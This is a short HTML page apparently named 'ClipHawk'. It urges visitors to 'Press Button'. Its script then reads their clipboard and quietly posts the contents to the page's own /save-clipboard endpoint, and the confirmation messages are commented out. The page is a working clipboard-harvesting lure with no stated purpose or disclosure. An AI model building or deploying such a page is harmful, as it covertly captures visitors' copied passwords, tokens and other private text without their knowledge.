index.html



<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>ClipHawk</title>
</head>
<body>
    <h2>PLEASE! Press Button </h2>
    <button onclick="getClipboardContent()">Click Me</button>
    <script>
        async function getClipboardContent() {
            try {
                const permission = await navigator.permissions.query({ name: "clipboard-read" });
                if (permission.state === "granted" || permission.state === "prompt") {
                    const text = await navigator.clipboard.readText();
                    saveClipboardContent(text);
                } else {
                    alert(" Denied ");
                }
            } catch (err) {
                console.error("Failed to read contents: ", err);
            }
        }

       async function saveClipboardContent(content) {
            try {
                const response = await fetch('/save-clipboard', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify({ content }),
                });

                // if (response.ok) {
                //     alert('Content saved successfully');
                // } else {
                //     alert('Failed to save content');
                // }
            } catch (err) {
                console.error('Failed to save content:', err);
            }
        }
    </script>
</body>
</html>